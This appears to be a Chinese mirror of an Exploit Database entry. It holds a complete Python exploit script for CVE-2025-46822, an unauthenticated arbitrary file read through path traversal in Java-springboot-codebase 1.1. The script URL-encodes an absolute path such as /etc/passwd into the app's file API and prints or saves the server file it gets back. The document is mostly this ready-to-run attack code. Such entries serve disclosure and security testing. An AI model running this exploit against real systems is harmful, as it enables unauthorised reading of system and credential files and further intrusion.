Java-springboot-codebase 1.1 – Arbitrary File Read

• Exploit Database
• 11 阅读

• 作者： d3sca
  日期： 2025-05-25
• 类别：

  • webapps
  平台：

  • java
• 来源：https://www.exploit-db.com/exploits/52304/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58

  # Exploit Title: Java-springboot-codebase 1.1 - Arbitrary File Read # Google Dork: # Date: 23/May/2025 # Exploit Author: d3sca # Vendor Homepage: https://github.com/OsamaTaher/Java-springboot-codebase # Software Link: https://github.com/OsamaTaher/Java-springboot-codebase # Version: [app version] 1.1 # Tested on: Debian Linux # CVE : CVE-2025-46822   #usage: python3 cve-2025-46822.py http://victim.com /etc/passwd   import argparse import requests   from urllib.parse import quote def exploit(target, file_path, output=None): # Ensure the file path is absolute if not file_path.startswith('/'): print("[!] Warning: File path is not absolute. Prepending '/' to make it absolute.") file_path = '/' + file_path.lstrip('/')   # URL-encode the file path encoded_path = quote(file_path, safe='')   # Construct the target URL endpoint = f"/api/v1/files/{encoded_path}" url = target.rstrip('/') + endpoint print(f"[*] Attempting to retrieve: {file_path}") print(f"[*] Sending request to: {url}") try: response = requests.get(url, allow_redirects=False, timeout=10)   if response.status_code == 200: print("[+] File retrieved successfully!") if output: with open(output, 'wb') as f: f.write(response.content) print(f"[+] Content saved to: {output}") else: print("\nFile contents:") print(response.text) else: print(f"[-] Failed to retrieve file. Status code: {response.status_code}") print(f"[-] Response: {response.text[:200]}")# Show first 200 chars of response except Exception as e: print(f"[-] An error occurred: {str(e)}")   if name == "main": parser = argparse.ArgumentParser(description="Exploit Path Traversal Vulnerability in Unauthenticated File API") parser.add_argument("target", help="Target base URL (e.g., http://victim:8080)") parser.add_argument("file_path", help="Absolute path to target file (e.g., /etc/passwd)") parser.add_argument("-o", "--output", help="Output file to save contents")   args = parser.parse_args()   exploit(args.target, args.file_path, args.output)